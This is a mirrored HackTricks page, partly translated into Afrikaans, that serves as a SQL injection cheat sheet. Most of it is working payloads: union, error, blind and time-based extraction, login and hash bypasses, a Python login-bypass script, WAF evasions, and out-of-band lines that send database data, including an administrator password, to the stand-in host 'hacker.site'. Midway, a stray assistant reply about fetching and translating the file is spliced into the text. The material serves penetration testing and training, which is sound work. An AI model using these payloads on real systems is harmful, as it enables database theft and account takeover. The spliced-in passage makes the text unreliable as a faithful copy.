mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
617 lines
27 KiB
Markdown
617 lines
27 KiB
Markdown
# SQL Injection
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Wat is SQL injection?
|
||
|
||
'n **SQL injection** is 'n sekuriteitsgebrek wat aanvalleerders toelaat om met databasisnavrae van 'n toepassing te inmeng. Hierdie kwesbaarheid kan aanvalleerders in staat stel om data wat hulle nie behoort te bereik nie te **bekyk**, **wysig**, of **verwyder**, insluitend inligting van ander gebruikers of enige data waartoe die toepassing toegang het. Sulke aksies kan permanente veranderinge aan die toepassing se funksionaliteit of inhoud tot gevolg hê, of selfs die bediener kompromitteer of 'n denial of service veroorsaak.
|
||
|
||
## Opsporing van ingangspunte
|
||
|
||
Wanneer 'n webwerf weens ongewone bedienerreaksies op SQLi-verwante insette **vulnerable to SQL injection (SQLi)** blyk te wees, is die **eerste stap** om te verstaan hoe om data in die navraag te injekteer sonder om dit te ontwrig. Dit vereis die identifisering van die metode om effektief uit die huidige konteks te ontsnap. Hier is 'n paar nuttige voorbeelde:
|
||
```
|
||
[Nothing]
|
||
'
|
||
"
|
||
`
|
||
')
|
||
")
|
||
`)
|
||
'))
|
||
"))
|
||
`))
|
||
```
|
||
Dan moet jy weet hoe om die query te **regstel sodat daar geen foute voorkom nie**. Om die query reg te stel, kan jy data **invoer** sodat die **vorige query die nuwe data aanvaar**, of jy kan net jou data **invoer** en **'n kommentaarsimbool by die einde voeg**.
|
||
|
||
_Let wel: as jy foutboodskappe kan sien of verskille kan raaksien wanneer 'n query werk en wanneer dit nie werk nie, sal hierdie fase makliker wees._
|
||
|
||
### **Kommentaar**
|
||
```sql
|
||
MySQL
|
||
#comment
|
||
-- comment [Note the space after the double dash]
|
||
/*comment*/
|
||
/*! MYSQL Special SQL */
|
||
|
||
PostgreSQL
|
||
--comment
|
||
/*comment*/
|
||
|
||
MSQL
|
||
--comment
|
||
/*comment*/
|
||
|
||
Oracle
|
||
--comment
|
||
|
||
SQLite
|
||
--comment
|
||
/*comment*/
|
||
|
||
HQL
|
||
HQL does not support comments
|
||
```
|
||
### Bevestiging met logiese bewerkings
|
||
|
||
Een betroubare metode om 'n SQL injection kwesbaarheid te bevestig behels die uitvoer van 'n **logiese bewerking** en die waarneming van die verwagte uitkomste. Byvoorbeeld, 'n GET-parameter soos `?username=Peter` wat identiese inhoud oplewer wanneer dit gewysig word na `?username=Peter' or '1'='1` dui op 'n SQL injection kwesbaarheid.
|
||
|
||
Net so dien die toepassing van **wiskundige bewerkings** as 'n doeltreffende bevestigingstegniek. Byvoorbeeld, as toegang tot `?id=1` en `?id=2-1` dieselfde resultaat lewer, dui dit op 'n SQL injection.
|
||
|
||
Voorbeelde wat die bevestiging met logiese bewerkings demonstreer:
|
||
```
|
||
page.asp?id=1 or 1=1 -- results in true
|
||
page.asp?id=1' or 1=1 -- results in true
|
||
page.asp?id=1" or 1=1 -- results in true
|
||
page.asp?id=1 and 1=2 -- results in false
|
||
```
|
||
Hierdie woordlys is geskep om te probeer **bevestig SQLinjections** op die voorgestelde wyse:
|
||
|
||
<details>
|
||
<summary>True SQLi</summary>
|
||
```
|
||
true
|
||
1
|
||
1>0
|
||
2-1
|
||
0+1
|
||
1*1
|
||
1%2
|
||
1 & 1
|
||
1&1
|
||
1 && 2
|
||
1&&2
|
||
-1 || 1
|
||
-1||1
|
||
-1 oR 1=1
|
||
1 aND 1=1
|
||
(1)oR(1=1)
|
||
(1)aND(1=1)
|
||
-1/**/oR/**/1=1
|
||
1/**/aND/**/1=1
|
||
1'
|
||
1'>'0
|
||
2'-'1
|
||
0'+'1
|
||
1'*'1
|
||
1'%'2
|
||
1'&'1'='1
|
||
1'&&'2'='1
|
||
-1'||'1'='1
|
||
-1'oR'1'='1
|
||
1'aND'1'='1
|
||
1"
|
||
1">"0
|
||
2"-"1
|
||
0"+"1
|
||
1"*"1
|
||
1"%"2
|
||
1"&"1"="1
|
||
1"&&"2"="1
|
||
-1"||"1"="1
|
||
-1"oR"1"="1
|
||
1"aND"1"="1
|
||
1`
|
||
1`>`0
|
||
2`-`1
|
||
0`+`1
|
||
1`*`1
|
||
1`%`2
|
||
1`&`1`=`1
|
||
1`&&`2`=`1
|
||
-1`||`1`=`1
|
||
-1`oR`1`=`1
|
||
1`aND`1`=`1
|
||
1')>('0
|
||
2')-('1
|
||
0')+('1
|
||
1')*('1
|
||
1')%('2
|
||
1')&'1'=('1
|
||
1')&&'1'=('1
|
||
-1')||'1'=('1
|
||
-1')oR'1'=('1
|
||
1')aND'1'=('1
|
||
1")>("0
|
||
2")-("1
|
||
0")+("1
|
||
1")*("1
|
||
1")%("2
|
||
1")&"1"=("1
|
||
1")&&"1"=("1
|
||
-1")||"1"=("1
|
||
-1")oR"1"=("1
|
||
1")aND"1"=("1
|
||
1`)>(`0
|
||
2`)-(`1
|
||
0`)+(`1
|
||
1`)*(`1
|
||
1`)%(`2
|
||
1`)&`1`=(`1
|
||
1`)&&`1`=(`1
|
||
-1`)||`1`=(`1
|
||
-1`)oR`1`=(`1
|
||
1`)aND`1`=(`1
|
||
```
|
||
</details>
|
||
|
||
### Bevestiging deur tydsmeting
|
||
|
||
In sommige gevalle **sal jy geen verandering op die bladsy wat jy toets opmerk nie**. Daarom is 'n goeie manier om **discover blind SQL injections** te ontdek om die DB opdragte te laat uitvoer wat 'n **invloed op die tyd** wat die bladsy neem om te laai sal hê.\
|
||
Daarom gaan ons in die SQL query concat gebruik om 'n operasie in te sluit wat baie tyd sal neem om te voltooi:
|
||
```
|
||
MySQL (string concat and logical ops)
|
||
1' + sleep(10)
|
||
1' and sleep(10)
|
||
1' && sleep(10)
|
||
1' | sleep(10)
|
||
|
||
PostgreSQL (only support string concat)
|
||
1' || pg_sleep(10)
|
||
|
||
MSQL
|
||
1' WAITFOR DELAY '0:0:10'
|
||
|
||
Oracle
|
||
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
|
||
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
|
||
|
||
SQLite
|
||
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
|
||
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
|
||
```
|
||
In sommige gevalle sal die **sleep functions nie toegelaat word nie**. In plaas daarvan om daardie functions te gebruik, kan jy die query laat **komplekse operasies uitvoer** wat 'n paar sekondes sal neem. _Voorbeelde van hierdie tegnieke word apart vir elke tegnologie bespreek (indien van toepassing)_.
|
||
|
||
### Identifisering van Back-end
|
||
|
||
Die beste manier om die back-end te identifiseer is deur te probeer om functions van die verskillende back-ends uit te voer. Jy kan die _**sleep**_ **functions** van die vorige afdeling gebruik of hierdie een (tabel van [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||
```bash
|
||
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
|
||
["connection_id()=connection_id()" ,"MYSQL"],
|
||
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
|
||
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
|
||
["@@CONNECTIONS>0" ,"MSSQL"],
|
||
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
|
||
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
|
||
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
|
||
["ROWNUM=ROWNUM" ,"ORACLE"],
|
||
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
|
||
["LNNVL(0=123)" ,"ORACLE"],
|
||
["5::int=5" ,"POSTGRESQL"],
|
||
["5::integer=5" ,"POSTGRESQL"],
|
||
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
|
||
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
|
||
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
|
||
["current_database()=current_database()" ,"POSTGRESQL"],
|
||
["sqlite_version()=sqlite_version()" ,"SQLITE"],
|
||
["last_insert_rowid()>1" ,"SQLITE"],
|
||
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
|
||
["val(cvar(1))=1" ,"MSACCESS"],
|
||
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
|
||
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
|
||
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||
```
|
||
Also, if you have access to the output of the query, you could make it **die weergawe van die databasis laat vertoon**.
|
||
|
||
> [!TIP]
|
||
> In die vervolg gaan ons verskillende metodes bespreek om verskillende tipes SQL Injection te misbruik. Ons gebruik MySQL as voorbeeld.
|
||
|
||
### Identifisering met PortSwigger
|
||
|
||
|
||
{{#ref}}
|
||
https://portswigger.net/web-security/sql-injection/cheat-sheet
|
||
{{#endref}}
|
||
|
||
## Uitbuiting van Union Based
|
||
|
||
### Opsporing van die aantal kolomme
|
||
|
||
If you can see the output of the query this is the best way to exploit it.\
|
||
Eerstens moet ons uitvind watter **aantal** **kolomme** die **initiële versoek** teruggee. Dit is omdat **albei queries dieselfde aantal kolomme moet teruggee**.\
|
||
Twee metodes word gewoonlik vir hierdie doel gebruik:
|
||
|
||
#### Order/Group by
|
||
|
||
Om die aantal kolomme in 'n query te bepaal, pas stapsgewys die nommer wat in **ORDER BY** of **GROUP BY** klousules gebruik word aan totdat 'n vals reaksie ontvang word. Ten spyte van die verskillende funksies van **GROUP BY** en **ORDER BY** binne SQL, kan albei identies gebruik word om die query se kolom-aantal te bepaal.
|
||
```sql
|
||
1' ORDER BY 1--+ #True
|
||
1' ORDER BY 2--+ #True
|
||
1' ORDER BY 3--+ #True
|
||
1' ORDER BY 4--+ #False - Query is only using 3 columns
|
||
#-1' UNION SELECT 1,2,3--+ True
|
||
```
|
||
|
||
```sql
|
||
1' GROUP BY 1--+ #True
|
||
1' GROUP BY 2--+ #True
|
||
1' GROUP BY 3--+ #True
|
||
1' GROUP BY 4--+ #False - Query is only using 3 columns
|
||
#-1' UNION SELECT 1,2,3--+ True
|
||
```
|
||
#### UNION SELECT
|
||
|
||
Kies meer en meer null-waardes totdat die query korrek is:
|
||
```sql
|
||
1' UNION SELECT null-- - Not working
|
||
1' UNION SELECT null,null-- - Not working
|
||
1' UNION SELECT null,null,null-- - Worked
|
||
```
|
||
_Jy moet `null`-waardes gebruik aangesien in sommige gevalle die tipe van die kolomme aan albei kante van die query dieselfde moet wees en `null` in alle gevalle geldig is._
|
||
|
||
### Haal databasisname, tabelname en kolomname uit
|
||
|
||
In die volgende voorbeelde gaan ons die name van alle databasisse, die tabelname van 'n databasis en die kolomname van die tabel terugkry:
|
||
```sql
|
||
#Database names
|
||
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
|
||
|
||
#Tables of a database
|
||
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
|
||
|
||
#Column names
|
||
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
|
||
```
|
||
_Daar is 'n ander manier om hierdie data in elke databasis te ontdek, maar dit is altyd dieselfde metodologie._
|
||
|
||
## Uitbuiting van verborge Union Based
|
||
|
||
As die output van 'n query sigbaar is, maar 'n union-based injection onbereikbaar lyk, dui dit op die teenwoordigheid van 'n **verborge union-based injection**. Hierdie situasie lei dikwels tot 'n blind injection. Om 'n blind injection in 'n union-based een te omskep, moet die uitvoering-query op die backend geïdentifiseer word.
|
||
|
||
Dit kan bereik word deur blind injection tegnieke te gebruik in kombinasie met die standaardtabelle wat spesifiek is vir jou teiken Database Management System (DBMS). Om hierdie standaardtabelle te verstaan, word dit aanbeveel om die dokumentasie van die teiken DBMS te raadpleeg.
|
||
|
||
Wanneer die query uitgehaal is, is dit nodig om jou payload aan te pas om die oorspronklike query veilig te sluit. Daarna word 'n union query by jou payload aangeheg, wat die uitbuiting van die nuut-toeganklike union-based injection moontlik maak.
|
||
|
||
Vir meer omvattende insigte, sien die volledige artikel by [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
|
||
|
||
## Uitbuiting van Error based
|
||
|
||
As jy om een of ander rede die **output** van die **query** nie kan sien nie, maar jy kan die **error messages** sien, kan jy hierdie error messages gebruik om data uit die databasis te **ex-filtrate**.\
|
||
Deur 'n soortgelyke vloei as by die Union Based exploitation te volg, kan jy daarin slaag om die DB te dump.
|
||
```sql
|
||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||
```
|
||
## Exploiting Blind SQLi
|
||
|
||
In hierdie geval kan jy nie die resultate van die query of die errors sien nie, maar jy kan onderskei wanneer die query 'n **true** of 'n **false** response teruggee omdat daar verskillende inhoud op die bladsy is.\
|
||
In hierdie geval kan jy daardie gedrag misbruik om die database karakter vir karakter te dump:
|
||
```sql
|
||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
||
```
|
||
## Exploiting Error Blind SQLi
|
||
|
||
Dit is die **dieselfde geval as voorheen**, maar in plaas daarvan om tussen 'n true/false-reaksie van die query te onderskei, kan jy **onderskei tussen** 'n **error** in die SQL-query of nie (miskien omdat die HTTP-server crash). Daarom kan jy in hierdie geval elke keer 'n SQLerror forceer as jy die char korrek raai:
|
||
```sql
|
||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||
```
|
||
## Uitbuiting van Time Based SQLi
|
||
|
||
In hierdie geval is daar **geen** manier om die **respons** van die query te **onderskei** op grond van die konteks van die bladsy nie. Maar jy kan die bladsy **langer laat laai** as die geraaisde karakter korrek is. Ons het hierdie tegniek reeds voorheen gesien in gebruik om [confirm a SQLi vuln](#confirming-with-timing).
|
||
```sql
|
||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||
```
|
||
## Stacked Queries
|
||
|
||
Jy kan stacked queries gebruik om **meerdere queries agtereenvolgens uit te voer**. Let daarop dat terwyl die daaropvolgende queries uitgevoer word, die **resultate** **nie aan die toepassing teruggestuur word** nie. Hierdie tegniek is dus hoofsaaklik nuttig vir **blind vulnerabilities**, waar jy 'n tweede query kan gebruik om 'n DNS lookup, 'n voorwaardelike fout, of 'n tydvertraging te veroorsaak.
|
||
|
||
**Oracle** ondersteun nie **stacked queries** nie. **MySQL, Microsoft** en **PostgreSQL** ondersteun dit: `QUERY-1-HERE; QUERY-2-HERE`
|
||
|
||
## Out of band Exploitation
|
||
|
||
As **geen ander** eksploitasie-metode **gewerk** het nie, kan jy probeer om die **database ex-filtrate** die inligting na 'n deur jou beheerde **external host**. Byvoorbeeld, via DNS queries:
|
||
```sql
|
||
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
||
```
|
||
### Out of band data exfiltration via XXE
|
||
```sql
|
||
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
|
||
```
|
||
## Geoutomatiseerde Eksploitasie
|
||
|
||
Kyk na die [SQLMap Cheatsheet](sqlmap/index.html) om 'n SQLi-kwesbaarheid met [**sqlmap**](https://github.com/sqlmapproject/sqlmap) uit te buit.
|
||
|
||
## Tegnologie-spesifieke inligting
|
||
|
||
Ons het reeds al die maniere bespreek om 'n SQL Injection-kwesbaarheid uit te buit. Vind meer truuks wat van die databasis-tegnologie afhang in hierdie boek:
|
||
|
||
- [MS Access](ms-access-sql-injection.md)
|
||
- [MSSQL](mssql-injection.md)
|
||
- [MySQL](mysql-injection/index.html)
|
||
- [Oracle](oracle-injection.md)
|
||
- [PostgreSQL](postgresql-injection/index.html)
|
||
|
||
Of jy sal **baie truuks oor: MySQL, PostgreSQL, Oracle, MSSQL, SQLite en HQL vind by** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||
|
||
## Outentisering-omseiling
|
||
|
||
Lys om te probeer om die aanmeldfunksionaliteit te omseil:
|
||
|
||
|
||
{{#ref}}
|
||
../login-bypass/sql-login-bypass.md
|
||
{{#endref}}
|
||
|
||
### Raw hash outentisering-omseiling
|
||
```sql
|
||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||
```
|
||
Hierdie query demonstreer ’n kwesbaarheid wanneer MD5 met true vir raw output in authentication checks gebruik word, wat die stelsel vatbaar maak vir SQL injection. Aanvallers kan dit uitbuit deur insette te vervaardig wat, wanneer gehash, onverwagte dele van SQL-opdragte produseer en lei tot ongemagtigde toegang.
|
||
```sql
|
||
md5("ffifdyop", true) = 'or'6<EFBFBD>]<EFBFBD><EFBFBD>!r,<EFBFBD><EFBFBD>b<EFBFBD>
|
||
sha1("3fDf ", true) = Q<EFBFBD>u'='<EFBFBD>@<EFBFBD>[<EFBFBD>t<EFBFBD>- o<EFBFBD><EFBFBD>_-!
|
||
```
|
||
### Injected hash authentication Bypass
|
||
```sql
|
||
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||
```
|
||
**Aanbevole lys**:
|
||
|
||
Jy moet elke reël van die lys as username gebruik en as password altyd: _**Pass1234.**_\
|
||
_(Hierdie payloads is ook ingesluit in die groot lys wat aan die begin van hierdie afdeling genoem is)_
|
||
|
||
{{#file}}
|
||
sqli-hashbypass.txt
|
||
{{#endfile}}
|
||
|
||
### GBK Authentication Bypass
|
||
|
||
As ' ontsnap word, kan jy %A8%27 gebruik, en wanneer ' ontsnap word sal dit geskep word: 0xA80x5c0x27 (_╘'_)
|
||
```sql
|
||
%A8%27 OR 1=1;-- 2
|
||
%8C%A8%27 OR 1=1-- 2
|
||
%bf' or 1=1 -- --
|
||
```
|
||
Python-skrip:
|
||
```python
|
||
import requests
|
||
url = "http://example.com/index.php"
|
||
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
|
||
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
|
||
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
|
||
print r.text
|
||
```
|
||
### Polyglot injection (multicontext)
|
||
```sql
|
||
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||
```
|
||
## Insert Statement
|
||
|
||
### Modify password of existing object/user
|
||
|
||
Om dit te doen moet jy probeer om **'n nuwe objek te skep met dieselfde naam as die "master object"** (waarskynlik **admin** in die geval van gebruikers) deur iets te wysig:
|
||
|
||
- Skep gebruiker met naam: **AdMIn** (hoof- en kleinletters)
|
||
- Skep 'n gebruiker met naam: **admin=**
|
||
- **SQL Truncation Attack** (wanneer daar 'n **lengtebeperking** in die gebruikersnaam of e-pos is) --> Skep gebruiker met naam: **admin \[a lot of spaces] a**
|
||
|
||
#### SQL Truncation Attack
|
||
|
||
As die databasis kwesbaar is en die maksimum aantal karakters vir gebruikersnaam byvoorbeeld 30 is en jy die gebruiker **admin** wil naboots, probeer om 'n gebruikersnaam te skep genaamd: "_admin \[30 spaces] a_" en enige wagwoord.
|
||
|
||
Die databasis sal **kontroleer** of die ingevoerde **gebruikersnaam** **in die databasis bestaan**. Indien **nie**, sal dit die **gebruikersnaam** **afknip** tot die **maksimum toegelate aantal karakters** (in hierdie geval tot: "_admin \[25 spaces]_") en dan sal dit **outomaties al die spasies aan die einde verwyder en** binne die databasis die gebruiker "**admin**" bywerk met die **nuwe wagwoord** (daar kan 'n fout verskyn maar dit beteken nie dat dit nie gewerk het nie).
|
||
|
||
More info: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||
|
||
_Note: Hierdie aanval sal nie meer werk soos hierbo beskryf in nuutste MySQL installations nie. Alhoewel vergelykings steeds trailing whitespace as verstek ignoreer, sal die poging om 'n string in te voeg wat langer is as die lengte van 'n veld 'n fout tot gevolg hê, en die invoeging sal misluk. For more information about about this check:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
|
||
|
||
### MySQL Insert time based checking
|
||
|
||
Voeg soveel `','',''` by as wat nodig is om die VALUES statement te verlaat. As 'n vertraging uitgevoer word, het jy 'n SQLInjection.
|
||
```sql
|
||
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||
```
|
||
### ON DUPLICATE KEY UPDATE
|
||
|
||
Die `ON DUPLICATE KEY UPDATE` clause in MySQL word gebruik om die aksies te spesifiseer wat die databasis moet uitvoer wanneer 'n poging gemaak word om 'n ry in te voeg wat 'n duplikaatwaarde in 'n UNIQUE index of PRIMARY KEY tot gevolg sou hê. Die volgende voorbeeld demonstreer hoe hierdie funksie misbruik kan word om die wagwoord van 'n administratorrekening te wysig:
|
||
|
||
Example Payload Injection:
|
||
|
||
'n Injection payload kan soos volg saamgestel word, waar twee rye probeer word om in die `users` tabel ingevoeg te word. Die eerste ry is 'n lokmiddel, en die tweede ry mik op die e-pos van 'n bestaande administrator met die doel om die wagwoord op te dateer:
|
||
```sql
|
||
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
|
||
```
|
||
Hier is hoe dit werk:
|
||
|
||
- Die query probeer twee rye invoeg: een vir `generic_user@example.com` en nog een vir `admin_generic@example.com`.
|
||
- As die ry vir `admin_generic@example.com` reeds bestaan, word die `ON DUPLICATE KEY UPDATE` clause geaktiveer, wat MySQL instrueer om die `password` veld van die bestaande ry by te werk na "bcrypt_hash_of_newpassword".
|
||
- Gevolglik kan authentication dan probeer word met `admin_generic@example.com` en die password wat ooreenstem met die bcrypt hash ("bcrypt_hash_of_newpassword" verteenwoordig die nuwe password se bcrypt-hash, wat vervang moet word met die werklike hash van die gewenste password).
|
||
|
||
### Onttrek inligting
|
||
|
||
#### Skep 2 rekeninge terselfdertyd
|
||
|
||
Wanneer jy 'n nuwe user wil skep, is username, password en email nodig:
|
||
```
|
||
SQLi payload:
|
||
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
|
||
|
||
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
|
||
```
|
||
#### Gebruik desimale of heksadesimale
|
||
|
||
Met hierdie tegniek kan jy inligting onttrek deur net 1 account te skep. Dit is belangrik om te weet dat jy niks hoef te comment nie.
|
||
|
||
Gebruik **hex2dec** en **substr**:
|
||
```sql
|
||
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||
```
|
||
If the file is in your local repo:
|
||
- cat src/pentesting-web/sql-injection/README.md
|
||
- less src/pentesting-web/sql-injection/README.md
|
||
- sed -n '1,200p' src/pentesting-web/sql-injection/README.md
|
||
|
||
If you have a remote git repo:
|
||
- git clone <repo_url>
|
||
then cat src/pentesting-web/sql-injection/README.md
|
||
- git show HEAD:src/pentesting-web/sql-injection/README.md
|
||
|
||
If you have a raw HTTP URL:
|
||
- curl -sL <raw_url>/src/pentesting-web/sql-injection/README.md
|
||
- wget -qO- <raw_url>/src/pentesting-web/sql-injection/README.md
|
||
|
||
Or paste the file contents here and I will translate.
|
||
```python
|
||
__import__('binascii').unhexlify(hex(215573607263)[2:])
|
||
```
|
||
Gebruik **hex** en **replace** (en **substr**):
|
||
```sql
|
||
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||
|
||
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||
|
||
#Full ascii uppercase and lowercase replace:
|
||
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||
```
|
||
## Routed SQL injection
|
||
|
||
Routed SQL injection is 'n situasie waar die injectable query nie die een is wat output gee nie, maar die output van die injectable query na die query gaan wat output gee. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||
|
||
Voorbeeld:
|
||
```
|
||
#Hex of: -1' union select login,password from users-- a
|
||
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
|
||
```
|
||
## WAF Bypass
|
||
|
||
[Initial bypasses from here](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||
|
||
### No spaces bypass
|
||
|
||
No Space (%20) - om te omseil deur alternatiewe vir witruimte te gebruik
|
||
```sql
|
||
?id=1%09and%091=1%09--
|
||
?id=1%0Dand%0D1=1%0D--
|
||
?id=1%0Cand%0C1=1%0C--
|
||
?id=1%0Band%0B1=1%0B--
|
||
?id=1%0Aand%0A1=1%0A--
|
||
?id=1%A0and%A01=1%A0--
|
||
```
|
||
No Whitespace - bypass deur kommentaar
|
||
```sql
|
||
?id=1/*comment*/and/**/1=1/**/--
|
||
```
|
||
Geen witruimte - omseiling deur hakies
|
||
```sql
|
||
?id=(1)and(1)=(1)--
|
||
```
|
||
### No commas bypass
|
||
|
||
No Comma - bypass deur OFFSET, FROM en JOIN te gebruik
|
||
```
|
||
LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
||
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
||
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
|
||
```
|
||
### Generiese Omseilings
|
||
|
||
Swartlys met sleutelwoorde - omseil deur gebruik van hoofletters/kleinletters
|
||
```sql
|
||
?id=1 AND 1=1#
|
||
?id=1 AnD 1=1#
|
||
?id=1 aNd 1=1#
|
||
```
|
||
Blacklist wat sleutelwoorde case-insensitief gebruik - bypass deur 'n ekwivalente operator te gebruik
|
||
```
|
||
AND -> && -> %26%26
|
||
OR -> || -> %7C%7C
|
||
= -> LIKE,REGEXP,RLIKE, not < and not >
|
||
> X -> not between 0 and X
|
||
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
|
||
```
|
||
### Scientific Notation WAF bypass
|
||
|
||
Jy kan 'n meer diepgaande verduideliking van hierdie truuk vind in [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
|
||
Basies kan jy die scientific notation op onverwagte maniere gebruik om die WAF te omseil:
|
||
```
|
||
-1' or 1.e(1) or '1'='1
|
||
-1' or 1337.1337e1 or '1'='1
|
||
' or 1.e('')=
|
||
```
|
||
### Bypass Column Names Restriction
|
||
|
||
Eerstens, let daarop dat as die **oorspronklike query en die tabel waaruit jy die flag wil uittrek dieselfde aantal kolomme het** jy net kan doen: `0 UNION SELECT * FROM flag`
|
||
|
||
Dit is moontlik om toegang tot die **derde kolom van 'n tabel te kry sonder om sy naam te gebruik** met 'n query soos die volgende: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, dus in 'n sqlinjection sou dit soos volg lyk:
|
||
```bash
|
||
# This is an example with 3 columns that will extract the column number 3
|
||
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
||
```
|
||
Of deur gebruik te maak van die **comma bypass**:
|
||
```bash
|
||
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
|
||
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
|
||
```
|
||
Hierdie truuk is geneem van [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
|
||
|
||
### Column/tablename injection in SELECT list via subqueries
|
||
|
||
